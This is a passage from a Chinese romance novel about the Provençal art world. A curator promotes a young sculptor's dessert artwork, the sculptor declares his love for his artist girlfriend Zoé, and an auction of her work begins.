还有那个对罗南无比看重的诺曼德馆长,他也一定很愿意帮助罗南在普罗旺斯艺术界立足。 这位大人物可是对‘相思鸟’虎视眈眈呢,罗南更具有人气,作品也会跟着升值。 这样算下来,罗南还缺什么? 他什么都不缺了啊! 既然如此,不如今天就把这个头衔坐实! 普罗旺斯艺术界超新星诞生的消息,说不定可以强力打击到英国佬的人气! 做好了这个决定,马雷查尔歉意的打断了罗南和两位教授的叙旧,用铿锵有力的声音对周围的几百名参观游客说: “各位来宾,现在展现在我们面前的这件作品叫——相思鸟,或许它看起来并不张扬,但其内核蕴藏着深厚的艺术匠心,我恳请大家给我几分钟的时间,让我来为大家介绍一下这个特殊的作品。” 跟在马雷查尔身后的西蒙斯瞬间瞪大眼睛。 介绍艺术品环节不是由艺术家来完成的吗? 马雷查尔怎么抢了罗南的工作? 要知道在这种活动上,马雷查尔的身份等同于博物馆的馆长。 馆长亲自讲作品? 这—— 不过很快,西蒙斯及其他中心雕塑展的领导们就看懂了马雷查尔的用意。 人群里本在小声聊天的加布里埃尔和马里尼同时噤了声。 在法国,艺术就是日常。 经常看艺术展的他们非常清楚,一旦由策展人亲自讲解,意味着这个作品意义非凡——不是价值千金,就是有相当重要的隐藏意义。 他们表情凝重的看向罗南的作品。 这里面有什么他们没有读懂的东西? 距离‘相思鸟’不远的一个作品旁。 在众人簇拥下的桑松女士忽然停下了交谈,看向马雷查尔说话的方位。 身为普罗旺斯重量级的收藏家,桑松听说马雷查尔被誉为普罗旺斯艺术界未来的‘顶梁柱’,是在几年后有可能会接替普罗旺斯艺术协会主席的几个候选人之一。 这次把最重要的中心雕像展交给他负责,颇有一番‘历练’的含义。 在对他个人如此重要的展览上,他居然亲自为某一个作品做背书这背后的原因太值得深思了。 女人的心思会更加重。 结合聚会上大家针对于谁才是普罗旺斯艺术界新晋艺术家代表的话题,她脑中顿时涌出了无数种可能: “马雷查尔把赌注押到罗南身上了?” “认为普罗旺斯艺术界的未来在这个艺术家的身上,所以想亲手把他捧起来?以在未来的争夺中占据先机?” “他掌握到了什么我不知道的信息吗?” 桑松女士打断了艺术顾问的介绍,指着罗南作品的方向说: “我想回去听一听。” 见大家的注意力全部被吸引了过来,马雷查尔开始了他的讲解: “这件作品出自卢尔马兰艺术家罗南之手,以‘相思’为题,用传统雕刻工艺将豆泥塑造成细腻的艺术形态。 作品的造型和寓意都严格遵循了本次活动的核心——自然,春、夏、秋、冬,我们在自然赐予的四季中流转,我们又被爱人所筑的鸟巢环绕。” 罗南听的直皱眉。 哦啦啦,这位领导太厉害了! 这稿子是他提前准备好的,还是现场发挥的? 比罗南自己准备好几天的稿子强太多了! 西蒙斯捂住嘴,悄悄的对身边的助手说: “一会找找这几句话来自这场展览的哪几个作品介绍,记得把它们替换掉。” “好的。”助手点头应下。 场馆里,马雷查尔的声音还在回荡: “为什么说它珍贵?” 在装置艺术被传统材料所垄断的今天,‘相思鸟’用新型材料向传统宣战:艺术不全是有距离感的,艺术也可以是大众化的——有些人一辈子都没有接触过用花朵、树叶、泥土、松果、石头和树枝制成的艺术品,但他们一定接触过甜品。” 此话一出,全场哗然。 装置艺术是一种通过将物体、材料、声音、影像等元素在特定空间中进行组合与布置,从而创造沉浸式体验的艺术形式。 而这种艺术的代表人物正是喜欢在户外创作的安迪·戈兹沃西! 而且此刻几百米外的安迪·戈兹沃西正在用花朵、树叶、泥土、松果、石头和树枝创作艺术品!! 大家再看‘相思鸟’的眼神彻底变了。 这个作品的意义在于对抗传统装置艺术? 对待周围或友好、或探究或鼓励的眼神。 罗南冷汗直流。 不不不,我从来没有要和谁对抗! 是这位先生过分解读了!! 但马雷查尔根本不给罗南解释的机会,继续说道: “甜品艺术的珍贵,还在于它同时承载着视觉之美与味觉之道,‘相思鸟’不仅仅是一件雕塑,更是一场颠覆性的艺术宣言,这种艺术形态在普罗旺斯绝无仅有!你们有谁看过第二件用甜品创作的艺术品吗? 啊,我想起来了,确实有第二件,那依然是罗南创作的!” 现场自发的出现了几道掌声,随即加入的人越来越多。 在掌声的陪衬下,马雷查尔侧身看向罗南: “而我们优秀的艺术家罗南先生,这次还将‘短暂’的美转化为了‘永恒’的美,在当代艺术中更加难得!我提议,大家为我们的艺术家鼓掌致敬!” 雷鸣般的掌声响起,罗南不停的对四周鞠躬,迎接这本不属于他的荣誉。 他在心中大声的祈祷,这位先生,请你不要再说下去了! 捧杀啊这是!! 马雷查尔一边继续带头鼓掌,一边声音洪亮的说: “朋友们,时代从没有停下过脚步,同样也需要有勇敢的艺术家站出来推着艺术进步,所以中心雕塑展选择站出来,为这种创新的艺术形式站台,鼓励艺术家勇敢尝试。 同时‘相思鸟’还以最巧妙的方式点到了这次活动的主题:自然是美好的,自然也可以是残酷的,伟大的艺术品可以震撼眼球,同样也可以温暖人心.就像罗南用自然引出他对另一半的相思一样的道理。 罗南先生,请站出来勇敢的告诉大家,那个让你四季温暖、让你灵感迸发、让你心甘情愿忠贞守护的女孩叫什么名字!” 在一众尖叫、鼓掌和口哨声的陪伴下,罗南终于取得了难得的发言机会。 为了压住这些噪音,罗南声嘶力竭的喊道: “我的女朋友同样是一名艺术家,她擅长以动物为原型创作,而且也参与到了最近的艺术活动中,她的名字叫佐伊!!” 年轻小伙力竭似的发言更加印证了他们之间的甜蜜爱情。 气氛更加热烈,似乎在进行求婚一样热闹。 但现场有几个人的表情像是被雷劈了一样震惊。 桑松女士瞪大眼睛,又有无数个念头纷涌而至: “马雷查尔这一招走的太高了,他一定是提前知道了这个消息,特意创造了机会在这个场合宣布。” “押注罗南就是押注佐伊,现在这两个人都是普罗旺斯的未来了!” “这个作品我必须要拿下来,它的意义非凡,可能是新时代的印证。” 罗德里格的嘴巴里像是塞进了一整个苹果。 什么? 罗南的女朋友是另一个新艺术家代表佐伊? 太棒了,这太棒了! ‘相思鸟’的商业价值将成倍的增长,那可是两个人气艺术家加持的作品啊。 在戈尔德待了快一个月的罗德里格清楚的知道佐伊也是人气艺术家,只不过被罗南掩盖住了锋芒而已。 许多实力藏家都是佐伊的忠实拥护者,比如图拉姆的女儿帕特里西亚小姐。 罗德里格坚信,今日过后罗南和佐伊都将把他们前面的‘新’字去掉了,说不定会多出一个‘知名’。 “而且这个罗南非常懂制造噱头啊,他创作这个作品且憋到这一刻才说女朋友是谁,要的就是现在这个目的。” 罗德里格的眼睛里有熊熊烈火燃烧起来。 这个作品他必须拿下,罗南这个盟友他也必须争取到! 现场最疯狂的当属马雷查尔。 作为几年后有可能会接替普罗旺斯艺术协会主席的几个候选人之一,这次他能取得的最大功绩不是办好戈尔德中心雕塑展,而是成功狙击安迪·戈兹沃西! 他相信自己已经做到了。 刚刚他做了这么多,只是想创造一个普罗旺斯艺术界的超新星,但现在他成功制造出了两颗.而这两颗星星还是颇具话题性的情侣关系! 戈尔德要彻底进入疯狂的状态了!! 他也如罗南一样,歇斯底里的喊道: “恭喜你们,恭喜我自己,我们正在见证20世纪最甜美的艺术革命!!” 第328章 唯一的观众 艺术展的开展日和闭展日是最热闹的。 中心雕塑展没有强制要求艺术家必须亲临,但这个月艺术界的知名人士都在戈尔德附近活动,既然来了,自然要给自己的作品做一下宣传。 罗德里格参观完展览的全部作品又观摩了几个互动环节后已经到了下午3点多。 对于松弛的普罗旺斯人来说,这个时间应该开始思考晚餐吃什么、该用什么方式度过一个美妙的夜晚了。 但罗德里格再次联系了他的艺术顾问。 “‘相思鸟’现在有多少个竞价了?” 罗德里格知道,经过了权威的马雷查尔和高德曼销售背书,又有同为人气艺术家女朋友的加持,他的竞争对手绝不可能只有一个了。 虽然做足了心理准备,但结果着实让他有些措手不及。 “已经有10份核心意向申请。”艺术顾问悉心的提醒,“但许多藏家还在展馆里没有离开或者还没来,人数有一定会继续增加的。” ‘意向’和‘核心意向’的意义不同。 许多参观者看到喜爱的艺术品都会向展方咨询价格,一听起售价觉得可以接受,就表达出了想要争取的意向。 类似的情况,人气作品展览全程可以接到几十个。 但拍卖会不是谁都可以上的。 如果竞价者太多,主办方会进而提出‘筛选条件’,例如至少3次欧洲重要拍卖会举牌记录,或者银行开具的资产证明等,以筛选出核心竞价者。 ‘相思鸟’今天才开展,藏家大部分还来不及提供证明,此时能被称为‘核心意向’的,要么是知名藏家、要么是艺术机构,还有可能是有资历的博物馆,只有这些人不需要资质证明。 普通藏家还没开始提供资质,就已经有10份核心意向.实际进入竞拍的人数可能会达到一个恐怖的数字。 而普罗旺斯之前的顶级作品争抢,也才通常集中在8-12位核心藏家之间。 罗德里格取下了他脸上的单片眼镜,疲惫的揉了揉眼角。 几天后的拍卖会注定会是一场残酷的厮杀了! 但在此时的戈尔德,残酷的厮杀怎么会只有一场呢? 下午,佐伊来雕塑展和罗南、歌迪亚汇合,一见面她就告诉了大家一个惊人的消息: “主办方告诉我,有16个藏家进入了明天下午的拍卖会。” 佐伊的第一个作品明天开拍,这16个都是来争抢她作品的。 歌迪亚兴奋的差点跳起来: “昨天还只有7个,今天突然多出来那么多?” 罗南张开怀抱恭喜她的女孩。 佐伊却绕开了罗南,径直走向展柜里的‘相思鸟’,双手插入口袋里: “这不是要‘感谢’你们吗?” 罗南皱眉看歌迪亚,似乎在指责她出卖了自己。 不是答应我要瞒住佐伊,等我自己坦白的吗? 歌迪亚举起双手,示意自己是无辜的。 身为罗南的艺术经纪人,她当然早早的知道了计划,还很配合的帮他打了掩护。 当佐伊问起罗南的作品,歌迪亚配合着罗南说他用甜品做了一个精美的葡萄藤,佐伊对此深信不疑还评价罗南去年前半年天天和葡萄藤打交道,确实可以做出精美的葡萄藤甜品。 做为一个专业的艺术经纪人,这种对两个艺术家和他们的作品都有所帮助的事情她当然会支持了。 佐伊言语冰冷的说: “跟歌迪亚没有关系,是你们弄出的动静太大,传到我那里了。” 天知道佐伊今天一天过的有多‘热闹’。 认识的人,不认识的人连主办方的对接人都来恭喜她了。 她居然是最后一个知道,罗南为她创作了一个艺术品的! 歌迪亚突然拍了下手: “差点忘记了,我晚上约了朋友吃饭,暂时不回卢尔马兰,你们不用等我。” 说完,她大步流星的离开,生怕被波及到。 罗南本来也没指望歌迪亚能帮助他做什么,主动承认了‘错误’: “你听我解释,这个想法是从‘希望’带动编织热度而起的,那个时候我——” 佐伊没给罗南辩解的机会,压低声音说: “我当然知道你为什么这样做,也理解你为什么这样做你想让我好、想让卢尔马兰的艺术环境更好、想让身边的人都好,但你不该瞒我。” 罗南紧张的拉起佐伊的手: “我不知道你听到的版本是什么样子的,但我发誓我做这个作品的初衷真的是因为‘思念’。” 他语速飞快的解释: “你不知道想创意那几天我有多想你,晚上在床上辗转反侧的睡不着我希望自己能像那只相思鸟一样长出翅膀,想你的时候马上飞去找你,才有了这个作品。” 佐伊扭头看罗南,委屈的在他身上锤了一下: “想我了可以告诉我啊,告诉你做了什么,为什么要瞒我!!” 罗南摇头,认真的说: “不一样,通知你我要这样做,和做完‘讲’给你听不一样。” 佐伊更委屈了: “但你讲的时候我都不在场,还要听别人说你有多么多么的爱我” 佐伊今天听了许多人讲述中心雕塑展这边发生的事情。 每个人的语言表达能力不同、思维逻辑也不同,讲出来的内容也不尽相同。 但这些人表达出来有一点是完全相同的——那就是罗南很爱很爱她。 佐伊真的要气死了。 这么重要的时刻,她居然没有在场。 来的路上她气的恨不得把罗南‘吃’了!! 来到雕塑展,她本想好好和罗南‘说道说道’,但看到‘相思鸟’,看到旁边的作品介绍,她又什么气都没有了。 只剩下满满的感动和一点点委屈。 上帝,这只小鸟太好看了,罗南写的介绍也很棒。 这个世界上居然有人会为了她创作一个作品.这已经不是简单一句‘浪漫’就能概括的了。 要不是知道自己抢不过那些有钱人,她真的很想把这个作品收藏下来。 这对她来说意义太非凡了! 罗南握住了口袋里皱皱巴巴的草稿纸: “我如果说.我想说的话还没来及说,你会相信吗?” 上午马雷查尔把他的活儿全都抢了,罗南哪有机会讲他的心里话啊。 等他想说的时候,下面的人都疯狂了。 再说些情啊爱啊的不合适了。 “真的?”佐伊既期盼又委屈的问。 罗南郑重的点头,语气温柔的问: “你愿意听一听这个作品的背后故事吗?你可能是唯一能听到这些的观众了.” 佐伊并排和罗南站到一起,用力点了两下头: “愿意。” 罗南把藏在心里想了千遍万遍的话讲了出来: “你知道吗.搬来普罗旺斯后,你是我身边出现的第一个同龄女性,第一次见到你,我觉得这个女孩太漂亮了,像是天使一样。” 佐伊看向‘相思鸟’作品简介的第一句,幽默的点评: “嗯天使也有翅膀。” 罗南好听的声音在她身边出现: “去年春天是我人生里的第一个春耕季,我信誓旦旦的说要种地,但连拉肥料的工具都没有,其他人都在看我的笑话但你真实的帮助了我,那天和你一起坐在拖拉机上,虽然天气很冷、虽然拖拉机很吵,但我知道冬天要结束了,我感受到了春天的温暖。” 罗南的话勾起了佐伊的回忆。 无数去年春天的画面出现在她的脑海里。 有去他家吃饭的罗南、有因主菜太多面露难色的罗南、有第一去集市看什么都很感兴趣的罗南、有和她抢着结账的罗南. “普罗旺斯的夏天很热,比巴黎热多了,热到我希望能把自己埋到土里,尤其白天那么漫长,我还没有睡午觉的习惯,但你给我送来了亲手制作的吊床,给我读睡前读物,你舍弃掉了自己的午睡时间和工作时间来哄我睡觉.你是我去年夏日记忆中最珍贵的那一抹凉意。” 佐伊把头靠到了罗南的胳膊上。 那个夏天罗南何尝不是她的凉意呢? 每当她被天气或者其他事情搞得烦躁不安时,想一想晚上可以和罗南夜游了,心情就会马上得到安抚。 “秋天,我经历了一波三折的丰收季,那些经历让我更加喜欢普罗旺斯,感受到了在大城市里无法体会的喜悦,但去年秋天丰收的不只是葡萄,还有我的内心,你勇敢的叩开了我的心门,告诉我.想要和我在一起。” 罗南把脑袋贴向佐伊,语气更加轻柔: “你让我的身和心都在普罗旺斯扎根了。” 看着面前寓意为‘相思’的作品,听着耳畔爱人的声音,佐伊只感觉眼眶开始发酸发胀,憋了一整天的情绪有了爆发而出的趋势.随即那个秋天的点点滴滴开始涌上心头。 去年秋天也是佐伊的‘丰收季’,在事业上的丰收让她有底气去追求爱情,罗南是她丰收季中那颗最珍贵的果实。 罗南的语气轻轻的,柔柔的: “去年冬天发生了很多不好的事情,我曾一度对未来和事业感到迷茫,但每当看到闪闪发光的你,我又会充满了动力和决心,我的女孩在不知不觉中已经成长成了卢尔马兰艺术家的核心,有了追随者,我怎么可能在这里被打倒呢?” 佐伊的情绪剧烈起伏起来,脑子很乱,说不出来什么诗情画意的句子,但有些话她必须要说出来: “我喜欢鸟,因为它们有一颗自由的灵魂,曾经我也以为自己会像鸟一样,可能这辈子都没有一个落脚地,直到我遇到了你 罗南,在米斯特拉尔风出现时,我愿意做为你遮风挡雨的雄鹰,风平浪静时,我愿意做一只听话的黄鹂,好的时候我们互相鼓励,不好的时候我们互相扶持——我愿意和你做那对永不分离、相伴心依、忠贞不二、彼此守护的‘相思鸟’。” “我也愿意.”罗南不假思索的说。 戈尔德雕塑展开展的第一天,罗南和佐伊是最后离开的两个人。 他们久久的依偎在一起看着面前的‘相思’,甜蜜的窃窃私语,似乎有说不完的秘密,连工作人员都人都不忍心打扰他们——这一幕太美好了。 最后连马雷查尔都被惊动了。 不过马雷查尔没有让他们催促罗南和佐伊离开,只说再等一等。 西蒙斯对身边的马雷查尔说: “我以为你会把这一幕拍下来,发到明天的《普罗旺斯日报》上,你应该知道,经过你上午的努力,这张照片会产生什么样的爆炸效应。” 甜蜜的艺术革命已席卷普罗旺斯。 稍早一些,他们接到了组委会的通知,说也许这次系列活动中的第一个‘热门’作品要出现了,就在明天的拍卖会上,那名艺术家就是他们前面的佐伊! 马雷查尔语气复杂的摇头: “我已经利用他们做了太多太多,这一幕美好留给他们自己吧。” 西蒙斯颇为诧异的说: “我以为你会为了达成目的不择手段呢。” 马雷查尔笑着离开了这里: “不只自然有多面性,人也是一样的。” 西蒙斯在后面问他: “明天的竞拍会你要去看看吗?” 第一个热门作品有可能要诞生了,而且是在你的推动之下诞生的,不去看看盛况吗? 马雷查尔语气淡淡的说: “不去了,还有许多工作等着我处理,不过你可以去。” 西蒙斯想了一下: “那我也不去了,说不定我们也能有自己的热门艺术品。” 第二天佐伊要去参加拍卖会。 由于这是歌迪亚和佐伊第一次出席,她们上午没有跟罗南去戈尔德,而是留在卢尔马兰做准备。 女孩子嘛,准备环节中一定会包含美美的妆容和漂亮的衣服。 歌迪亚为此还特意定制了一身衣服,以示重视。 但她盛装打扮完毕,觉得可以去戈尔德扎场子时,看到出现在她面前的佐伊时有了一种丑小鸭看到白天鹅时的自卑感。 今天的佐伊完全不一样了。 她化了一个极度‘锋芒’的妆容,一头金发高高盘起,衣服穿的也颇有气势。 当佐伊以一种高贵女王的气势走向自己时,歌迪亚甚至开始嫉妒罗南了。 该死的,佐伊也太美了吧! “今天走‘御姐’风?”歌迪亚开玩笑的问。 佐伊骄傲的昂起脑袋: “今天,我要做罗南的雄鹰。” 第329章 成功的亮相! 戈尔德是普罗旺斯最著名的鸟巢村。 虽然规模较小,但凭借其浓厚的艺术氛围和历史底蕴,这里拥有一个属于自己的正规艺术品交易场所——戈尔德城堡拍卖厅。 不过由于一些众所周知的原因,此次戈尔德中心系列艺术展的拍卖会并不在这里进行。 戈尔德市政厅内临时布置出来了一个场所,提供给普罗旺斯艺术协会在未来一周使用。 拍卖会是邀请制度,罗南无法进入其中,但他提前半小时就在戈尔德市政厅外等候了。 人进不去,但精神必须与佐伊同行,他要亲自把佐伊送进去。 巴蒂也一起来了。 现在卢尔马兰三杰是‘一荣俱荣、一损俱损’的状态。 虽然昨天的‘相思’故事主角是罗南和佐伊,但同为卢尔马兰艺术家的巴蒂也落得了一点点好处——有不少八卦的人来向他打听罗南和佐伊的爱情故事。 连带着这位编织艺术家的人气也小幅度的提升了。 “戈尔德应该是吕贝隆各个村子里艺术底蕴最浓厚的一个吧?不仅有一个专门的拍卖厅,被占用了政府还可以马上搭建出来第二个场地,这种水平梅纳村都没办法比。” 等待佐伊和歌迪亚出现的这段时间,巴蒂主动和罗南闲聊起了和艺术相关的话题。 罗南回头看着市政厅外墙上挂的一幅幅艺术活动宣传标语说: “那是肯定的,布兰科说梅纳村在70年代末才开始转型,渐渐吸引来了艺术家,但戈尔德在二战结束后就开始吸引了一批一批艺术家来生活.在艺术领域,戈尔德毫无疑问是吕贝隆地区实力最强大的。” 回想起上一个旅居地,巴蒂补充道: “瓦朗索勒倒是经常举办艺术活动,但如果要进行拍卖,会去阿维尼翁或者其他大城市,薰衣草的故乡同样没办法举行拍卖活动。” 罗南用羡慕的语气说: “瓦朗索勒起码能举办艺术活动,以现在卢尔马兰的配套设施.根本就无法举办这么专业的活动,更不要说拍卖会了。” 近一个月,罗南频繁出入戈尔德,他清晰的看到了卢尔马兰和这些热门村庄的实力差距这种差距是多领域多维度的。 什么时候卢尔马兰有实力承接一个普罗旺斯的热门活动‘振兴计划’才算实打实的走出了第一步。 任重而道远啊罗南在心中默默叹气。 不过投资‘潜力股’的回报比也是最大的。 不知道布兰科有没有改变去沃克吕兹省送报告的时间? 罗南决定忙完戈尔德这里的事情,要找时间去和布兰科聊聊了。 两个人聊了一会,不多时终于等到了今天的主角。 罗南的反应比歌迪亚还震惊。 若不是知道佐伊今天是以艺术家的身份去参加,他还以为这是哪位实力藏家到了。 被艺术顾问陆续接进去的贵宾也没有今天的佐伊有‘气势’啊 “你今天太漂亮了。”罗南毫不吝啬的向佐伊送去夸赞。 还没在一起时,罗南就知道佐伊是一个风格百变的‘精灵’,她每次去艾克斯都像是参加T台秀似的。 后来有钱了,佐伊衣柜里的风格更加多元。 少女、学生、成熟、知性、性感、叛逆.罗南都多多少少的见识过,可今天这种‘气场大开’的风格罗南还是第一次见。 佐伊主动拉起罗南的手: “作品成功拍卖后,有一个简短的艺术家‘致谢’环节,有那么多藏家支持,我当然也要准备的‘隆重’一些。” 见罗南一直表情复杂的偷偷打量,佐伊停下脚步: “怎么,你不喜欢我今天的风格?” 罗南猛猛的摇头: “怎么会,就是有点不习惯。” 歌迪亚拉着佐伊继续向前走,用‘幸灾乐祸’的语气说: “他怎么会不喜欢,他简直不要太爱了!快走吧,赶紧进去。” 巴蒂看了看时间: “还有二十多分钟呢,着什么急啊。” 佐伊站在戈尔德市政厅的台阶上,回头对他们解释: “拍卖会前还有些流程要走,我和歌迪亚第一次参加,要提前进去观摩一下,好给你们传授经验。” 佐伊是卢尔马兰三杰中第一个参与拍卖会的。 见佐伊和歌迪亚一副赶时间的样子,罗南长话短说: “不要有什么压力,你已经非常棒了,放平心态。” 佐伊和她的父亲路易一样,骨子里都是不服输的人,有那么多藏家参与.证明佐伊距离她想要的东西越来越近。 但越是这个时候越要放平心态,千万不要着急。 佐伊安慰罗南: “放心,我的心态很好,即使因为莫名原因流拍了,我也不会伤心这次戈尔德之行我的收获已经足够多了。” 我收获了名气,收获了掌声,收获了声誉,最重要的是还收获了你的爱,有什么可不满的呢? “呸呸呸,乱说什么,不可能流拍!”歌迪亚不满的嘟囔。 佐伊抬头,对着罗南甜美一笑: “乖乖回雕塑展等我,结束了我去找你。” 普罗旺斯堪称地中海文明的视觉基因库,更是现代艺术的摇篮。 在这片神奇的土地上出现、生活过无数家喻户晓的著名艺术家,可以说艺术是刻在普罗旺斯人民血脉里的基因。 在1992年欧盟统一艺术市场法规前,普罗旺斯艺术拍卖会有一套属于自己的独特拍卖流程和方式。 不仅在全世界绝无仅有,即使在法国都可以被称为‘别具一格’。 为了让参加拍卖的各方能够遵从普罗旺斯拍卖风格,每场拍卖会前会留出一部分介绍规则的时间。 佐伊和歌迪亚提前入场就是为了听这个。 不过在进场和藏家一起听规则之前,佐伊还有一个步骤需要完成。 由于昨日中心雕塑展上引发的热烈讨论、由于藏家对作品的热情、由于普罗旺斯艺术协会对佐伊的重视,她已经被官方自动定义为‘著名’艺术家行列。 而著名艺术家在拍卖会上会有一项特权。 “现在是你行使‘干预权’的最后机会,你要撤回展品的拍卖,或者取消某些藏家的购买资格吗?”拍卖会的工作人员向佐伊和歌迪亚确认。 艺术家的干预权在许多国家都被取缔了,但普罗旺斯艺术界百年来一直保留了这项特权。 其核心意义是在资本狂潮中为艺术家保留尊严的锚点,让他们可以在最大程度上决定自己作品的归属和状态。 事实上普罗旺斯这对项特权也做了一定的‘改良’。 70年代,某位陶艺艺术家在拍卖举行过程中,由于不满买家‘不懂釉料历史’,认为他们没有收藏自己作品的资格,现场取消了5位藏家的购买权。 为了在过程中不被不必要的麻烦所干扰,普罗旺斯艺术界规定这项特权的最后行使时间为拍卖会开始前的10分钟,并在规定时间让专人向艺术家最终确认一次。 如果艺术家不使用,待会无论卖给了谁,都不能再发表看法了。 突然得到了‘知名艺术家’的待遇,已经让佐伊和歌迪亚受宠若惊,而且买家越多,作品越有可能拍的高价,她们当然不会行使‘干预权’。 “好的,那你们可以进场了。”工作人员礼貌的把她们带入会场内。 拍卖会分上、下午场。 通常情况下,晨拍进行的是起售价小于1万法郎的艺术品。 而下午是‘黄金拍’,登场的全部是重点作品。 今天拍卖会会有许多艺术品登台。 藏家和藏家坐在一起,艺术家和艺术家坐在一个区域。 佐伊属于到了比较早到的几位。 但无论是先到的还是后来的,都会忍不住打量她好几眼。 身为年轻艺术家,佐伊平时只混新人艺术家圈子。 但参与黄金拍的绝大部分是普罗旺斯知名艺术家,或者在行业内深耕了许多年的前辈。 能有几个新人艺术家能成功进入中心艺术展,并且作品得到藏家的争抢呢? 所以这是佐伊第一次在真正的普罗旺斯艺术界露面。 而这个亮相做的非常成功! 好漂亮的姑娘这些艺术家前辈不约而同的感叹。 再看向她面前的名牌,这些艺术家们更加不淡定了。 近两日‘相思’的故事在戈尔德闹的沸沸扬扬,没人不知道佐伊的名字。 这个生面孔居然就是那个女艺术家? 坐在第一排中心位置的知名艺术家蒂凡妮和于格小声的交谈起来。 “有人气、有声誉,还有这么棒的外形条件,看来外界纷飞的消息并不全是空穴来风,也许她真的是普罗旺斯艺术界的未来。”蒂凡妮收回了视线,淡淡的评价道。 “我觉得噱头更多吧,您知道的,我们需要一些对抗安迪·戈兹沃西的手段,而她和那个叫罗南的新人艺术家成为了幸运儿,艺术还是要看天赋和作品,场外的声音不能代表什么。”于格属于极个别的几个对佐伊不感兴趣的人,他已经在等待拍卖师出场了。 蒂凡妮笑了两声,侧头问旁边的老朋友: “于格,你第一次上‘黄金拍’是多大年纪?她20出头就跟我们站到一个舞台上这还不能够说明些什么吗?我换个方式说,我35岁第一次上‘黄金拍’,她比我多了十几年可以奋斗的时间,你觉得她未来能走到哪里?” 于格眉头一簇,缓缓的看向后排的佐伊。 普罗旺斯拍卖会的座位‘按资排辈’,通常是按照进入‘黄金拍’的次数来判断谁坐前面,谁坐后面。 蒂凡妮的话让于格一阵后怕。 这样回头看佐伊的次数不会越来越少了吧? 突然,四周响起几道悠扬的钟声。 一名打扮的像修士一样的中年男子拿着木槌出现在场地内。 他用木槌在槌台上用力敲了几下,用地道的普罗旺斯方言说道: “下面,我将宣读本场‘黄金拍’的规则!” 歌迪亚和佐伊悄悄对看了一眼。 在对方眼睛里同时看到了好奇和期待。 终于开始了! 第330章 普罗旺斯特色拍卖会 “本场拍卖以法郎为基准,每次加价单位为3000法郎,交割时可使用等价值的意大利里拉和希腊德拉克马,不接受其他货币;同时接受等值实物抵扣,可接受实物如下:1吨卡马格盐场生产的粉盐砖可抵8000法郎,每箱1982年份邦多勒葡萄酒可抵2200法郎,每箱1981年滴金酒庄贵腐酒可抵” 使用地道普罗旺斯方言的拍卖师把一个个可以抵扣的事物和它们分别的价值列举而出,听的佐伊不由得前倾了身体。 歌迪亚对普罗旺斯式拍卖会的了解稍多一些,给佐伊解释道: “以物易物一直是普罗旺斯拍卖会的习俗,昨天拍卖会上有一副油画以50公斤黑松露期权成交了。” 佐伊默默点头,小声嘀咕了一句: “而且都是普罗旺斯的特色物品。” 卡马格盐粉盐、葡萄酒、松露.这些全部是普罗旺斯本地高价值的商品。 截止到目前,佐伊没有从拍卖师嘴里听到类似黄金和石油等事物。 结合拍卖师的传统服饰和地道普罗旺斯方言,她猜测普罗旺斯独特的拍卖会延续了几百年前它最初的样子。 不愧是法国最具有特色的拍卖会。 念完抵扣名单,拍卖师声音洪亮的说: “我们同时接受分期,首付30%,余款在下次橄榄收获季前结清,逾期需加付5%的现金或等价可抵扣物品。” 佐伊和歌迪亚又默默交换了一下眼神。 果然有浓郁的普罗旺斯特色,结算时间居然是以‘橄榄收获季’计算的。 又讲了一些举牌规则和现场注意事项后,拍卖师用木槌在槌台上用力敲了一下: “最后一个注意事项——举牌时勿用左手!下面我宣布本场拍卖会正式开始,今天的001号艺术品” 佐伊的作品在今日拍卖会的后半程。 这给了她和歌迪亚充足的学习时间。 不只是了解拍卖会的规则,她们还深刻了解了欧洲艺术品收藏市场的现状。 在没有参与拍卖会之前,她们以为这次戈尔德的系列艺术活动只是普罗旺斯范围内的,最多吸引来法国其他地域的爱好者。 由于安迪·戈兹沃西的背景关系,可能还会再吸引来一些邻国的游客。 但万万没想到,参与这次拍卖会的藏家不仅遍布全欧洲还涉及到了美洲和亚洲。 其中有几个非常活跃的藏家可谓是全场的焦点。 第一个是买家编号41,名叫新时代酒庄联盟的机构。 他们委托代理人在现场一连拿下了两件非常不错的装饰作品,不过看起来他们的目标很明确,在其他作品出现时非常冷静。 第二位非常活跃的买家是美国地铁大王的遗孀,她的买家编号是77。 歌迪亚说,在昨天的拍卖会上,这位出手阔绰的太太就已经收获颇丰了。 而整场拍卖表现最疯狂的,无疑是日本西武百货的委托人。 早在1985年,这家日本集团就成为了艺术家们常常会聊起的话题。 据说随着日本经济泡沫的到来,西武集团在艺术领域的年度采购预算高达上亿美元。 他们的99号牌是今天出现次数最多的一个,大家已经数不清拍卖师说过多少声‘99号买家出价’了。 更恐怖的是,他们简单粗暴的‘金钱’战术非常有效,只要出手必定拿下,几乎是碾压全场。 到了后半段,每当西武集团的委托人举牌,现场就会出现一片叹气声,这代表大家几乎没有什么机会了。 “这次拍卖会比我预想中更加热闹,吸引来许多有实力的买家。”歌迪亚小声对佐伊说,“对你和罗南非常有利。” 在群星璀璨的舞台上站到了最中心的位置.罗南和佐伊的舞台可能已经从普罗旺斯延续到其他国家了。 佐伊露出了期待的笑容: “不止对我和罗南有利。” 她扭头对歌迪亚说: “以后类似这种大型活动,多给我找一些。” 歌迪亚开心笑了起来: “还用我主动找?以后活动方要主动来找你了!” 未来佐伊绝对是活动方最想要邀请的人。 这么漂亮、有才华还有人气的艺术家谁不想合作啊? 我们的好日子彻底开始了! 拍卖师的落槌声把佐伊和歌迪亚的注意力拉了回去: “感谢这位艺术家的发言,下一件拍卖品是编号28的藏品,来自艺术家佐伊!” 现场出现自开拍以来最大的一次议论声,拍卖师连续说了三次‘肃静’才把人声压了下去。 但开拍的第一时间,好不容易压下去的议论声再次‘卷土重来’——因为今天表现最抢眼的41、77和99号牌同时举了起来。 终于有人可以打破日本财团出手即胜利的现状了吗? 在后台看热闹的诺曼德馆长和他的好友高德曼教授同时笑出声来。 由于普罗旺斯艺术未来之争的看点、由于‘相思鸟’的故事、还由于马雷查尔的‘良苦用心’,佐伊的作品成为了意向收集期内争抢最激烈的一个。 虽然起售价并不高,但争抢方多,卖出什么价格还真的不一定,所以这场拍卖会的后台聚集了一批来看热闹的权威人士。 “有意思,资本和资本的对抗开始了不知道这三方哪个能赢。”高德曼教授一副看热闹的样子。 这三个实力买家终于‘对线’上了。 这么精彩的拍卖会,在巴黎都不多见。 诺曼德馆长表现的比高德曼教授还兴奋,他双手抱胸,看的津津有味: “你以为只有这三方?今天精彩的地方远不止于此呢。” 高德曼教授才来普罗旺斯,缺失了许多知识: “还有其他隐藏实力买家?” 诺曼德没有直接回答这个问题,而是笑着问: “你觉得最终会有多少轮加价?” 